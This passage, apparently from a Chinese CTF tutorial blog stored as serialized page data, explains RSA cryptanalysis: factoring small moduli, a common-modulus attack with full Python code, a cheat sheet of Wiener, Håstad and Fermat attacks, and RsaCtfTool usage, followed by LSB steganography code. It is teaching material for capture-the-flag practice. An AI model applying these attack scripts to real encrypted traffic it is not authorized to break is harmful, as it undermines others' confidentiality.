q\n",[50,10816,10817],{"class":52,"line":84},[50,10818,10819],{},"# n = 3233，公钥模数。\n",[50,10821,10822],{"class":52,"line":145},[50,10823,10824],{},"phi = (p - 1) * (q - 1)\n",[50,10826,10827],{"class":52,"line":151},[50,10828,10829],{},"# φ(n) = 60 × 52 = 3120，欧拉函数值。\n",[50,10831,10832],{"class":52,"line":157},[50,10833,10834],{},"d = pow(e, -1, phi)\n",[50,10836,10837],{"class":52,"line":163},[50,10838,10839],{},"# pow(e, -1, phi)：求 e 在模 phi 下的乘法逆元，即私钥 d = 2753。\n",[50,10841,10842],{"class":52,"line":168},[50,10843,142],{"emptyLinePlaceholder":141},[50,10845,10846],{"class":52,"line":174},[50,10847,10848],{},"m = 65\n",[50,10850,10851],{"class":52,"line":180},[50,10852,10853],{},"c = pow(m, e, n)\n",[50,10855,10856],{"class":52,"line":186},[50,10857,10858],{},"# pow(m, e, n)：快速幂取模，即 m^e mod n，加密得 c = 2790。\n",[50,10860,10861],{"class":52,"line":191},[50,10862,10863],{},"print(\"n =\", n)\n",[50,10865,10866],{"class":52,"line":196},[50,10867,10868],{},"print(\"phi =\", phi)\n",[50,10870,10871],{"class":52,"line":202},[50,10872,10873],{},"print(\"d =\", d)\n",[50,10875,10876],{"class":52,"line":208},[50,10877,10878],{},"print(\"c =\", c)\n",[50,10880,10881],{"class":52,"line":214},[50,10882,10883],{},"print(\"解密 =\", pow(c, d, n))\n",[50,10885,10886],{"class":52,"line":220},[50,10887,10888],{},"# pow(c, d, n)：用私钥解密，应还原 65，验证公式正确。\n",[15,10890,3555],{},[41,10892,10895],{"className":10893,"code":10894,"language":305,"meta":46},[303],"n = 3233\nphi = 3120\nd = 2753\nc = 2790\n解密 = 65\n",[18,10896,10894],{"__ignoreMap":46},[15,10898,10899,10900,10903],{},"攻击者只有 ",[18,10901,10902],{},"(n=3233, e=17, c=2790)","，没有 d。要解密，第一步就是分解 n。",[10,10905,10907],{"id":10906},"五核心步骤-2小-n-分解","五、核心步骤 2：小 n 分解",[15,10909,10910,10912],{},[271,10911,273],{},"：拿到公钥后第一步永远是\"尝试分解 n\"——一旦分解成功，私钥直接可算。",[15,10914,10915,10917],{},[271,10916,279],{},"：n 小 → 本地工具直接分解；n 大 → 先查 FactorDB 是否有人分解过。分解出 p、q 后按公式算出 d 解密。",[713,10919,10921],{"id":10920},"_51-用-sympy-分解","5.1 用 sympy 分解",[41,10923,10925],{"className":411,"code":10924,"language":413,"meta":46,"style":46},"from sympy import factorint\n\nprint(factorint(3233))\n",[18,10926,10927,10932,10936],{"__ignoreMap":46},[50,10928,10929],{"class":52,"line":53},[50,10930,10931],{},"from sympy import factorint\n",[50,10933,10934],{"class":52,"line":70},[50,10935,142],{"emptyLinePlaceholder":141},[50,10937,10938],{"class":52,"line":84},[50,10939,10940],{},"print(factorint(3233))\n",[15,10942,3555],{},[41,10944,10947],{"className":10945,"code":10946,"language":305,"meta":46},[303],"{53: 1, 61: 1}\n",[18,10948,10946],{"__ignoreMap":46},[15,10950,10951,10952,697],{},"得到 ",[18,10953,10954],{},"p=53, q=61",[713,10956,10958],{"id":10957},"_52-完整解密验证公式","5.2 完整解密（验证公式）",[15,10960,10961,10963],{},[271,10962,279],{},"：分解得到 p、q → 算 φ(n) → 算 d → pow(c,d,n) → long_to_bytes 转回文本。",[41,10965,10967],{"className":411,"code":10966,"language":413,"meta":46,"style":46},"from Crypto.Util.number import long_to_bytes\n# long_to_bytes(x)：把大整数转成字节串（高位在前），用于查看解密出的文本。\n\nn = 3233\ne = 17\nc = 2790\np, q = 53, 61\n\nphi = (p - 1) * (q - 1)\nd = pow(e, -1, phi)\nm = pow(c, d, n)\n# 解密：m = c^d mod n。\n\nprint(\"m =\", m)\nprint(long_to_bytes(m))\n# 65 对应 ASCII 字符 'A'，说明这个最小例子只能承载一个字节的明文；\n# 真实题目的 n 足够大，能装下整个 flag，方法完全一样。\n",[18,10968,10969,10974,10979,10983,10988,10993,10998,11003,11007,11011,11015,11020,11025,11029,11034,11039,11044],{"__ignoreMap":46},[50,10970,10971],{"class":52,"line":53},[50,10972,10973],{},"from Crypto.Util.number import long_to_bytes\n",[50,10975,10976],{"class":52,"line":70},[50,10977,10978],{},"# long_to_bytes(x)：把大整数转成字节串（高位在前），用于查看解密出的文本。\n",[50,10980,10981],{"class":52,"line":84},[50,10982,142],{"emptyLinePlaceholder":141},[50,10984,10985],{"class":52,"line":145},[50,10986,10987],{},"n = 3233\n",[50,10989,10990],{"class":52,"line":151},[50,10991,10992],{},"e = 17\n",[50,10994,10995],{"class":52,"line":157},[50,10996,10997],{},"c = 2790\n",[50,10999,11000],{"class":52,"line":163},[50,11001,11002],{},"p, q = 53, 61\n",[50,11004,11005],{"class":52,"line":168},[50,11006,142],{"emptyLinePlaceholder":141},[50,11008,11009],{"class":52,"line":174},[50,11010,10824],{},[50,11012,11013],{"class":52,"line":180},[50,11014,10834],{},[50,11016,11017],{"class":52,"line":186},[50,11018,11019],{},"m = pow(c, d, n)\n",[50,11021,11022],{"class":52,"line":191},[50,11023,11024],{},"# 解密：m = c^d mod n。\n",[50,11026,11027],{"class":52,"line":196},[50,11028,142],{"emptyLinePlaceholder":141},[50,11030,11031],{"class":52,"line":202},[50,11032,11033],{},"print(\"m =\", m)\n",[50,11035,11036],{"class":52,"line":208},[50,11037,11038],{},"print(long_to_bytes(m))\n",[50,11040,11041],{"class":52,"line":214},[50,11042,11043],{},"# 65 对应 ASCII 字符 'A'，说明这个最小例子只能承载一个字节的明文；\n",[50,11045,11046],{"class":52,"line":220},[50,11047,11048],{},"# 真实题目的 n 足够大，能装下整个 flag，方法完全一样。\n",[15,11050,3555],{},[41,11052,11055],{"className":11053,"code":11054,"language":305,"meta":46},[303],"m = 65\nb'A'\n",[18,11056,11054],{"__ignoreMap":46},[15,11058,11059,11062,11063,11065],{},[18,11060,11061],{},"65"," 对应的 ASCII 字符是 ",[18,11064,3069],{},"。真实的明文是 flag 对应的长整数，但解密公式完全相同。",[713,11067,11069],{"id":11068},"_53-用-factordb-查","5.3 用 FactorDB 查",[15,11071,11072,11073,11077],{},"如果 n 太大本地分解不动，去 ",[3623,11074,11075],{"href":11075,"rel":11076},"https://factordb.com",[3627]," 粘贴 n 查询，或：",[41,11079,11081],{"className":411,"code":11080,"language":413,"meta":46,"style":46},"from factordb.factordb import FactorDB\n\nf = FactorDB(n)\nf.connect()\np, q = f.get_factor_list()\n",[18,11082,11083,11088,11092,11097,11102],{"__ignoreMap":46},[50,11084,11085],{"class":52,"line":53},[50,11086,11087],{},"from factordb.factordb import FactorDB\n",[50,11089,11090],{"class":52,"line":70},[50,11091,142],{"emptyLinePlaceholder":141},[50,11093,11094],{"class":52,"line":84},[50,11095,11096],{},"f = FactorDB(n)\n",[50,11098,11099],{"class":52,"line":145},[50,11100,11101],{},"f.connect()\n",[50,11103,11104],{"class":52,"line":151},[50,11105,11106],{},"p, q = f.get_factor_list()\n",[10,11108,11110],{"id":11109},"六核心步骤-3共模攻击","六、核心步骤 3：共模攻击",[713,11112,11114],{"id":11113},"_61-场景","6.1 场景",[15,11116,11117,11118,11120,11121,11124],{},"同一个 ",[18,11119,10732],{},"、两个互质的 ",[18,11122,11123],{},"e1, e2","、同一明文：",[41,11126,11129],{"className":11127,"code":11128,"language":305,"meta":46},[303],"c1 = m^e1 mod n\nc2 = m^e2 mod n\n",[18,11130,11128],{"__ignoreMap":46},[713,11132,11134],{"id":11133},"_62-数学原理","6.2 数学原理",[15,11136,11137,11139],{},[271,11138,273],{},"：理解为什么\"两个密文能拼出明文\"。",[15,11141,11142,11144],{},[271,11143,279],{},"：扩展欧几里得求出 a、b 使 a×e1+b×e2=1；把两个密文分别取 a、b 次方再相乘，指数恰好合并成 1，明文就还原了。验证方式：恢复结果与原始 m 相等。",[15,11146,11147,11148,11151],{},"扩展欧几里得算法求出 ",[18,11149,11150],{},"a, b"," 使：",[41,11153,11156],{"className":11154,"code":11155,"language":305,"meta":46},[303],"a × e1 + b × e2 = 1\n",[18,11157,11155],{"__ignoreMap":46},[15,11159,11160],{},"则：",[41,11162,11165],{"className":11163,"code":11164,"language":305,"meta":46},[303],"c1^a × c2^b\n= m^(a×e1) × m^(b×e2)\n= m^(a×e1 + b×e2)\n= m^1 = m (mod n)\n",[18,11166,11164],{"__ignoreMap":46},[713,11168,11170],{"id":11169},"_63-完整代码","6.3 完整代码",[41,11172,11174],{"className":411,"code":11173,"language":413,"meta":46,"style":46},"def egcd(a, b):\n    # 扩展欧几里得算法：返回 (gcd, x, y)，满足 a*x + b*y = gcd(a,b)。\n    if b == 0:\n        return a, 1, 0\n    g, x, y = egcd(b, a % b)\n    return g, y, x - (a // b) * y\n\nn = 3233\ne1, e2 = 17, 19\nm = 65\nc1 = pow(m, e1, n)      # 2790：e1 加密结果\nc2 = pow(m, e2, n)      # 232：e2 加密结果\n\n_, a, b = egcd(e1, e2)\n# 忽略第一个返回值（gcd=1），取 a、b。\nprint(\"a =\", a, \"b =\", b, \"a*e1+b*e2 =\", a*e1 + b*e2)\n# 应输出 a=9, b=-8，验证 9×17 + (-8)×19 = 1。\n\n# 负指数要先取模逆元\nif a \u003C 0:\n    c1 = pow(pow(c1, -1, n), -a, n)\n    # pow(c1, -1, n)：c1 在模 n 下的逆元；再取 -a 次方（-a 为正）。\nelse:\n    c1 = pow(c1, a, n)\nif b \u003C 0:\n    c2 = pow(pow(c2, -1, n), -b, n)\nelse:\n    c2 = pow(c2, b, n)\n\nrecovered = (c1 * c2) % n\n# c1^a × c2^b = m^(a·e1 + b·e2) = m^1 = m (mod n)。\nprint(\"恢复 m =\", recovered)\n# 预期 65，与原始 m 相等，攻击成功。\n",[18,11175,11176,11181,11186,11191,11196,11201,11206,11210,11214,11219,11223,11228,11233,11237,11242,11247,11252,11257,11261,11266,11271,11276,11281,11286,11291,11296,11301,11305,11310,11314,11319,11324,11329],{"__ignoreMap":46},[50,11177,11178],{"class":52,"line":53},[50,11179,11180],{},"def egcd(a, b):\n",[50,11182,11183],{"class":52,"line":70},[50,11184,11185],{},"    # 扩展欧几里得算法：返回 (gcd, x, y)，满足 a*x + b*y = gcd(a,b)。\n",[50,11187,11188],{"class":52,"line":84},[50,11189,11190],{},"    if b == 0:\n",[50,11192,11193],{"class":52,"line":145},[50,11194,11195],{},"        return a, 1, 0\n",[50,11197,11198],{"class":52,"line":151},[50,11199,11200],{},"    g, x, y = egcd(b, a % b)\n",[50,11202,11203],{"class":52,"line":157},[50,11204,11205],{},"    return g, y, x - (a // b) * y\n",[50,11207,11208],{"class":52,"line":163},[50,11209,142],{"emptyLinePlaceholder":141},[50,11211,11212],{"class":52,"line":168},[50,11213,10987],{},[50,11215,11216],{"class":52,"line":174},[50,11217,11218],{},"e1, e2 = 17, 19\n",[50,11220,11221],{"class":52,"line":180},[50,11222,10848],{},[50,11224,11225],{"class":52,"line":186},[50,11226,11227],{},"c1 = pow(m, e1, n)      # 2790：e1 加密结果\n",[50,11229,11230],{"class":52,"line":191},[50,11231,11232],{},"c2 = pow(m, e2, n)      # 232：e2 加密结果\n",[50,11234,11235],{"class":52,"line":196},[50,11236,142],{"emptyLinePlaceholder":141},[50,11238,11239],{"class":52,"line":202},[50,11240,11241],{},"_, a, b = egcd(e1, e2)\n",[50,11243,11244],{"class":52,"line":208},[50,11245,11246],{},"# 忽略第一个返回值（gcd=1），取 a、b。\n",[50,11248,11249],{"class":52,"line":214},[50,11250,11251],{},"print(\"a =\", a, \"b =\", b, \"a*e1+b*e2 =\", a*e1 + b*e2)\n",[50,11253,11254],{"class":52,"line":220},[50,11255,11256],{},"# 应输出 a=9, b=-8，验证 9×17 + (-8)×19 = 1。\n",[50,11258,11259],{"class":52,"line":226},[50,11260,142],{"emptyLinePlaceholder":141},[50,11262,11263],{"class":52,"line":232},[50,11264,11265],{},"# 负指数要先取模逆元\n",[50,11267,11268],{"class":52,"line":821},[50,11269,11270],{},"if a \u003C 0:\n",[50,11272,11273],{"class":52,"line":827},[50,11274,11275],{},"    c1 = pow(pow(c1, -1, n), -a, n)\n",[50,11277,11278],{"class":52,"line":833},[50,11279,11280],{},"    # pow(c1, -1, n)：c1 在模 n 下的逆元；再取 -a 次方（-a 为正）。\n",[50,11282,11283],{"class":52,"line":839},[50,11284,11285],{},"else:\n",[50,11287,11288],{"class":52,"line":845},[50,11289,11290],{},"    c1 = pow(c1, a, n)\n",[50,11292,11293],{"class":52,"line":851},[50,11294,11295],{},"if b \u003C 0:\n",[50,11297,11298],{"class":52,"line":857},[50,11299,11300],{},"    c2 = pow(pow(c2, -1, n), -b, n)\n",[50,11302,11303],{"class":52,"line":862},[50,11304,11285],{},[50,11306,11307],{"class":52,"line":867},[50,11308,11309],{},"    c2 = pow(c2, b, n)\n",[50,11311,11312],{"class":52,"line":873},[50,11313,142],{"emptyLinePlaceholder":141},[50,11315,11316],{"class":52,"line":878},[50,11317,11318],{},"recovered = (c1 * c2) % n\n",[50,11320,11321],{"class":52,"line":884},[50,11322,11323],{},"# c1^a × c2^b = m^(a·e1 + b·e2) = m^1 = m (mod n)。\n",[50,11325,11326],{"class":52,"line":890},[50,11327,11328],{},"print(\"恢复 m =\", recovered)\n",[50,11330,11331],{"class":52,"line":896},[50,11332,11333],{},"# 预期 65，与原始 m 相等，攻击成功。\n",[15,11335,3555],{},[41,11337,11340],{"className":11338,"code":11339,"language":305,"meta":46},[303],"a = 9 b = -8 a*e1+b*e2 = 1\n恢复 m = 65\n",[18,11341,11339],{"__ignoreMap":46},[10,11343,11345],{"id":11344},"七其他常见攻击速查","七、其他常见攻击速查",[312,11347,11348,11358],{},[315,11349,11350],{},[318,11351,11352,11355],{},[321,11353,11354],{},"场景",[321,11356,11357],{},"攻击",[328,11359,11360,11378,11386,11394,11402],{},[318,11361,11362,11371],{},[333,11363,11364,11367,11368],{},[18,11365,11366],{},"e=3"," 且 ",[18,11369,11370],{},"m^e \u003C n",[333,11372,11373,11374,11377],{},"直接开立方根（",[18,11375,11376],{},"gmpy2.iroot(c, 3)","）",[318,11379,11380,11383],{},[333,11381,11382],{},"同一明文发给 3 个不同 n",[333,11384,11385],{},"Håstad 广播攻击（中国剩余定理 + 开方）",[318,11387,11388,11391],{},[333,11389,11390],{},"e 特别大（d 很小）",[333,11392,11393],{},"Wiener 攻击（连分数）",[318,11395,11396,11399],{},[333,11397,11398],{},"p、q 很接近",[333,11400,11401],{},"Fermat 分解（平方差）",[318,11403,11404,11407],{},[333,11405,11406],{},"泄露 dp",[333,11408,11409,11410],{},"枚举 k，",[18,11411,11412],{},"p = (e*dp-1)//k + 1",[10,11414,3172],{"id":3171},[312,11416,11417,11427],{},[315,11418,11419],{},[318,11420,11421,11423,11425],{},[321,11422,1096],{},[321,11424,1099],{},[321,11426,1102],{},[328,11428,11429,11447,11463],{},[318,11430,11431,11434,11445],{},[333,11432,11433],{},"pycryptodome",[333,11435,11436,21,11439,21,11442],{},[18,11437,11438],{},"long_to_bytes",[18,11440,11441],{},"inverse",[18,11443,11444],{},"pow(m,e,n)",[333,11446,1129],{},[318,11448,11449,11452,11458],{},[333,11450,11451],{},"sympy",[333,11453,11454,11457],{},[18,11455,11456],{},"factorint"," 分解",[333,11459,11460],{},[18,11461,11462],{},"factorint(3233)",[318,11464,11465,11468,11471],{},[333,11466,11467],{},"RsaCtfTool",[333,11469,11470],{},"自动尝试多种攻击、从公钥文件读取",[333,11472,11473],{},[18,11474,11475],{},"./RsaCtfTool.py -n N -e E --uncipher C --attack all",[15,11477,11478,11479,11484],{},"FactorDB（",[3623,11480,11483],{"href":11481,"rel":11482},"https://factordb.com%EF%BC%89%E7%94%A8%E4%BA%8E%E6%9F%A5",[3627],"https://factordb.com）用于查"," n 的已知分解。",[10,11486,10584],{"id":10583},[15,11488,1167],{},[41,11490,11493],{"className":11491,"code":11492,"language":305,"meta":46},[303],"n = 1000000016000000063\ne = 65537\nc = 856868007642616233\n",[18,11494,11492],{"__ignoreMap":46},[15,11496,11497],{},"说明：真实题目的 n 有数百位，这里为了能在本地秒级分解，使用 19 位 n；分解方法完全一致。",[713,11499,11501],{"id":11500},"第一步分解","第一步：分解",[15,11503,11504,11506],{},[271,11505,279],{},"：n 只有 19 位，sympy 的 factorint 用试除/快速算法秒级分解；若 n 更大，改用 yafu 或查 FactorDB。",[41,11508,11510],{"className":411,"code":11509,"language":413,"meta":46,"style":46},"from sympy import factorint\nprint(factorint(1000000016000000063))\n",[18,11511,11512,11516],{"__ignoreMap":46},[50,11513,11514],{"class":52,"line":53},[50,11515,10931],{},[50,11517,11518],{"class":52,"line":70},[50,11519,11520],{},"print(factorint(1000000016000000063))\n",[15,11522,3555],{},[41,11524,11527],{"className":11525,"code":11526,"language":305,"meta":46},[303],"{1000000007: 1, 1000000009: 1}\n",[18,11528,11526],{"__ignoreMap":46},[713,11530,11532],{"id":11531},"第二步解密","第二步：解密",[15,11534,11535,11537,11538,11541],{},[271,11536,279],{},"：与 5.2 完全相同的公式，只是参数换成实际值；输出 ",[18,11539,11540],{},"b'flag'"," 说明解密成功。",[41,11543,11545],{"className":411,"code":11544,"language":413,"meta":46,"style":46},"from Crypto.Util.number import long_to_bytes\n\nn = 1000000016000000063\ne = 65537\nc = 856868007642616233\np, q = 1000000007, 1000000009\n\nphi = (p - 1) * (q - 1)\nd = pow(e, -1, phi)\nprint(long_to_bytes(pow(c, d, n)))\n",[18,11546,11547,11551,11555,11560,11565,11570,11575,11579,11583,11587],{"__ignoreMap":46},[50,11548,11549],{"class":52,"line":53},[50,11550,10973],{},[50,11552,11553],{"class":52,"line":70},[50,11554,142],{"emptyLinePlaceholder":141},[50,11556,11557],{"class":52,"line":84},[50,11558,11559],{},"n = 1000000016000000063\n",[50,11561,11562],{"class":52,"line":145},[50,11563,11564],{},"e = 65537\n",[50,11566,11567],{"class":52,"line":151},[50,11568,11569],{},"c = 856868007642616233\n",[50,11571,11572],{"class":52,"line":157},[50,11573,11574],{},"p, q = 1000000007, 1000000009\n",[50,11576,11577],{"class":52,"line":163},[50,11578,142],{"emptyLinePlaceholder":141},[50,11580,11581],{"class":52,"line":168},[50,11582,10824],{},[50,11584,11585],{"class":52,"line":174},[50,11586,10834],{},[50,11588,11589],{"class":52,"line":180},[50,11590,11591],{},"print(long_to_bytes(pow(c, d, n)))\n",[15,11593,3555],{},[41,11595,11598],{"className":11596,"code":11597,"language":305,"meta":46},[303],"b'flag'\n",[18,11599,11597],{"__ignoreMap":46},[713,11601,11603],{"id":11602},"第三步工具验证","第三步：工具验证",[41,11605,11607],{"className":43,"code":11606,"language":45,"meta":46,"style":46},"./RsaCtfTool.py -n 1000000016000000063 -e 65537 --uncipher 856868007642616233 --attack all\n",[18,11608,11609],{"__ignoreMap":46},[50,11610,11611,11614,11616,11619,11621,11624,11627,11630,11633],{"class":52,"line":53},[50,11612,11613],{"class":56},"./RsaCtfTool.py",[50,11615,1483],{"class":250},[50,11617,11618],{"class":250}," 1000000016000000063",[50,11620,4707],{"class":250},[50,11622,11623],{"class":250}," 65537",[50,11625,11626],{"class":250}," --uncipher",[50,11628,11629],{"class":250}," 856868007642616233",[50,11631,11632],{"class":250}," --attack",[50,11634,11635],{"class":60}," all\n",[10,11637,3348],{"id":3347},[15,11639,11640,11641,11644],{},"RSA 解题顺序：",[271,11642,11643],{},"先查 n 能否分解（FactorDB/sympy）→ 能分解就按公式解密 → 不能分解就检查共模、低指数、Wiener、Fermat 等结构性错误","。每个攻击对应一种\"实现错误\"，识别特征后套模板即可。",[1244,11646,4365],{},{"title":46,"searchDepth":70,"depth":70,"links":11648},[11649,11650,11651,11652,11653,11654,11655,11656,11657,11658],{"id":10696,"depth":84,"text":10697},{"id":38,"depth":84,"text":39},{"id":10760,"depth":84,"text":10761},{"id":10788,"depth":84,"text":10789},{"id":10906,"depth":84,"text":10907},{"id":11109,"depth":84,"text":11110},{"id":11344,"depth":84,"text":11345},{"id":3171,"depth":84,"text":3172},{"id":10583,"depth":84,"text":10584},{"id":3347,"depth":84,"text":3348},"RSA的DH 与公钥密码学背景、数论公式与小数字手算、小 n 分解解密、共模攻击的数学推导与代码。",{"date":1263,"image":8743,"alt":11661,"tags":11662,"published":141},"RSA 深入实战",[1267,4381,11663,1269],"rsa","/blogs/ctf-crypto-rsa-deep-dive",{"title":10691,"description":11659},"blogs/19. ctf-crypto-rsa-deep-dive","cUGS-VePAPrg-FWNvg-OJ725RRZNhFybQstAdcvf9qo",{"id":11669,"title":11670,"body":11671,"description":12681,"extension":1261,"meta":12682,"navigation":141,"ogImage":3378,"path":12686,"seo":12687,"stem":12688,"__hash__":12689},"content/blogs/20. ctf-misc-stego-forensics-deep-dive.md","隐写与取证深入实战：LSB 隐写与 ZIP 伪加密",{"type":7,"value":11672,"toc":12671},[11673,11677,11683,11685,11719,11723,11727,11730,11736,11740,11745,11892,11902,11906,11911,11916,12019,12021,12026,12030,12043,12049,12053,12058,12063,12067,12070,12076,12083,12087,12092,12130,12132,12138,12141,12147,12151,12156,12213,12216,12222,12225,12263,12265,12271,12274,12278,12287,12342,12344,12350,12357,12361,12366,12371,12374,12472,12479,12485,12496,12498,12563,12567,12572,12577,12581,12583,12623,12626,12631,12637,12652,12655,12657,12668],[10,11674,11676],{"id":11675},"一现实背景文件头与压缩包","一、现实背景：文件头与压缩包",[15,11678,11679,11680,11682],{},"文件真实类型由文件头决定。ZIP 文件头是 ",[18,11681,4462],{},"，其内部结构里有\"加密标志位\"，出题人可以把标志位置 1 制造\"伪加密\"（数据其实没加密）。图片取证中，LSB 隐写把秘密藏在像素最低位。本文完整实现这两种技术。",[10,11684,39],{"id":38},[41,11686,11688],{"className":43,"code":11687,"language":45,"meta":46,"style":46},"apt install file binutils binwalk\npip3 install pillow\ngem install zsteg\n",[18,11689,11690,11703,11711],{"__ignoreMap":46},[50,11691,11692,11694,11696,11698,11700],{"class":52,"line":53},[50,11693,57],{"class":56},[50,11695,61],{"class":60},[50,11697,1358],{"class":60},[50,11699,1361],{"class":60},[50,11701,11702],{"class":60}," binwalk\n",[50,11704,11705,11707,11709],{"class":52,"line":70},[50,11706,73],{"class":56},[50,11708,61],{"class":60},[50,11710,4502],{"class":60},[50,11712,11713,11715,11717],{"class":52,"line":84},[50,11714,5132],{"class":56},[50,11716,61],{"class":60},[50,11718,5137],{"class":60},[10,11720,11722],{"id":11721},"三核心技能-1lsb-隐写完整实现","三、核心技能 1：LSB 隐写（完整实现）",[713,11724,11726],{"id":11725},"_31-原理","3.1 原理",[15,11728,11729],{},"像素每个通道 1 字节（0-255）。把字节最低位替换成秘密比特，值最多变化 1，肉眼不可察觉：",[41,11731,11734],{"className":11732,"code":11733,"language":305,"meta":46},[303],"原来: 11001000  10010110  01100100\n写入: 11001001  10010110  01100101   ← 最低位写入 1,0,1\n",[18,11735,11733],{"__ignoreMap":46},[713,11737,11739],{"id":11738},"_32-隐藏出题人视角","3.2 隐藏（出题人视角）",[15,11741,11742,11744],{},[271,11743,273],{},"：理解\"把秘密写进像素最低位\"的实现细节，才能反过来写出提取脚本。",[41,11746,11748],{"className":411,"code":11747,"language":413,"meta":46,"style":46},"from PIL import Image\n# PIL 是 Python 图像处理库，Image 模块负责打开、新建、保存图片。\n\nimg = Image.new('RGB', (8, 8), (200, 150, 100))\n# Image.new(mode, size, color)：新建图片。mode='RGB'，size=(8,8)，color 是初始色。\nmessage = \"flag{lsb_steganography}\"\n\ndata = message.encode() + b'\\x00'\n# encode()：字符串转字节；追加 b'\\x00' 作为结束符（提取时遇到 0 停止）。\nbits = ''.join(f'{b:08b}' for b in data)\n# 每个字节转成 8 位二进制字符串后拼接成一条长比特串。\npixels = list(img.getdata())\n# getdata()：取出所有像素，每项是 (r,g,b)。\n\nnew_pixels = []\ni = 0\nfor r, g, b in pixels:\n    if i \u003C len(bits):\n        r = (r & 0xfe) | int(bits[i]); i += 1\n        # r & 0xfe：最低位清零；| int(bits[i])：写入第 i 个秘密比特。\n    if i \u003C len(bits):\n        g = (g & 0xfe) | int(bits[i]); i += 1\n        # 绿色通道，同样处理。\n    if i \u003C len(bits):\n        b = (b & 0xfe) | int(bits[i]); i += 1\n        # 蓝色通道。三个通道依次消耗比特，直到消息写完。\n    new_pixels.append((r, g, b))\n\nimg.putdata(new_pixels)\n# putdata()：把修改后的像素写回图片。\nimg.save('hidden.png')\n# save()：保存为 PNG。\nprint(\"已生成 hidden.png\")\n",[18,11749,11750,11754,11759,11763,11767,11772,11776,11780,11784,11789,11793,11798,11802,11807,11811,11815,11819,11823,11827,11831,11836,11840,11844,11849,11853,11857,11862,11866,11870,11874,11879,11883,11888],{"__ignoreMap":46},[50,11751,11752],{"class":52,"line":53},[50,11753,4773],{},[50,11755,11756],{"class":52,"line":70},[50,11757,11758],{},"# PIL 是 Python 图像处理库，Image 模块负责打开、新建、保存图片。\n",[50,11760,11761],{"class":52,"line":84},[50,11762,142],{"emptyLinePlaceholder":141},[50,11764,11765],{"class":52,"line":145},[50,11766,4787],{},[50,11768,11769],{"class":52,"line":151},[50,11770,11771],{},"# Image.new(mode, size, color)：新建图片。mode='RGB'，size=(8,8)，color 是初始色。\n",[50,11773,11774],{"class":52,"line":157},[50,11775,4802],{},[50,11777,11778],{"class":52,"line":163},[50,11779,142],{"emptyLinePlaceholder":141},[50,11781,11782],{"class":52,"line":168},[50,11783,4811],{},[50,11785,11786],{"class":52,"line":174},[50,11787,11788],{},"# encode()：字符串转字节；追加 b'\\x00' 作为结束符（提取时遇到 0 停止）。\n",[50,11790,11791],{"class":52,"line":180},[50,11792,4826],{},[50,11794,11795],{"class":52,"line":186},[50,11796,11797],{},"# 每个字节转成 8 位二进制字符串后拼接成一条长比特串。\n",[50,11799,11800],{"class":52,"line":191},[50,11801,4841],{},[50,11803,11804],{"class":52,"line":196},[50,11805,11806],{},"# getdata()：取出所有像素，每项是 (r,g,b)。\n",[50,11808,11809],{"class":52,"line":202},[50,11810,142],{"emptyLinePlaceholder":141},[50,11812,11813],{"class":52,"line":208},[50,11814,4855],{},[50,11816,11817],{"class":52,"line":214},[50,11818,4860],{},[50,11820,11821],{"class":52,"line":220},[50,11822,4865],{},[50,11824,11825],{"class":52,"line":226},[50,11826,4870],{},[50,11828,11829],{"class":52,"line":232},[50,11830,4875],{},[50,11832,11833],{"class":52,"line":821},[50,11834,11835],{},"        # r & 0xfe：最低位清零；| int(bits[i])：写入第 i 个秘密比特。\n",[50,11837,11838],{"class":52,"line":827},[50,11839,4870],{},[50,11841,11842],{"class":52,"line":833},[50,11843,4894],{},[50,11845,11846],{"class":52,"line":839},[50,11847,11848],{},"        # 绿色通道，同样处理。\n",[50,11850,11851],{"class":52,"line":845},[50,11852,4870],{},[50,11854,11855],{"class":52,"line":851},[50,11856,4908],{},[50,11858,11859],{"class":52,"line":857},[50,11860,11861],{},"        # 蓝色通道。三个通道依次消耗比特，直到消息写完。\n",[50,11863,11864],{"class":52,"line":862},[50,11865,4918],{},[50,11867,11868],{"class":52,"line":867},[50,11869,142],{"emptyLinePlaceholder":141},[50,11871,11872],{"class":52,"line":873},[50,11873,4932],{},[50,11875,11876],{"class":52,"line":878},[50,11877,11878],{},"# putdata()：把修改后的像素写回图片。\n",[50,11880,11881],{"class":52,"line":884},[50,11882,4942],{},[50,11884,11885],{"class":52,"line":890},[50,11886,11887],{},"# save()：保存为 PNG。\n",[50,11889,11890],{"class":52,"line":896},[50,11891,4952],{},[15,11893,11894,11896,11897,4962,11899,11901],{},[18,11895,4957],{}," 清零最低位（",[18,11898,4961],{},[18,11900,4965],{}," 写入。",[713,11903,11905],{"id":11904},"_33-提取解题视角","3.3 提取（解题视角）",[15,11907,11908,11910],{},[271,11909,273],{},"：把像素最低位收集起来，每 8 位一组还原成字节，得到隐藏消息。",[15,11912,11913,11915],{},[271,11914,279],{},"：读取像素 → 依次取 R、G、B 最低位 → 8 位拼 1 字节 → 遇到 0 结束。",[41,11917,11919],{"className":411,"code":11918,"language":413,"meta":46,"style":46},"from PIL import Image\n\nimg = Image.open('hidden.png').convert('RGB')\n# Image.open：打开图片；convert('RGB')：统一为 RGB 模式。\nbits = []\nfor r, g, b in img.getdata():\n    bits += [r & 1, g & 1, b & 1]\n    # r & 1：取最低位（0 或 1），顺序与隐藏时一致。\n\ndata = bytearray()\nfor i in range(0, len(bits) - 7, 8):\n    # 每 8 个比特一组，步长为 8。\n    byte = 0\n    for bit in bits[i:i+8]:\n        byte = (byte \u003C\u003C 1) | bit\n        # 左移 1 位再或上当前比特，等价于二进制拼接。\n    if byte == 0:\n        # 字节 0 是隐藏时追加的结束符。\n        break\n    data.append(byte)\n\nprint(data.decode())\n# decode()：字节串解码成字符串。\n",[18,11920,11921,11925,11929,11933,11938,11942,11946,11950,11955,11959,11963,11967,11972,11976,11980,11984,11989,11993,11998,12002,12006,12010,12014],{"__ignoreMap":46},[50,11922,11923],{"class":52,"line":53},[50,11924,4773],{},[50,11926,11927],{"class":52,"line":70},[50,11928,142],{"emptyLinePlaceholder":141},[50,11930,11931],{"class":52,"line":84},[50,11932,4998],{},[50,11934,11935],{"class":52,"line":145},[50,11936,11937],{},"# Image.open：打开图片；convert('RGB')：统一为 RGB 模式。\n",[50,11939,11940],{"class":52,"line":151},[50,11941,5013],{},[50,11943,11944],{"class":52,"line":157},[50,11945,5018],{},[50,11947,11948],{"class":52,"line":163},[50,11949,5023],{},[50,11951,11952],{"class":52,"line":168},[50,11953,11954],{},"    # r & 1：取最低位（0 或 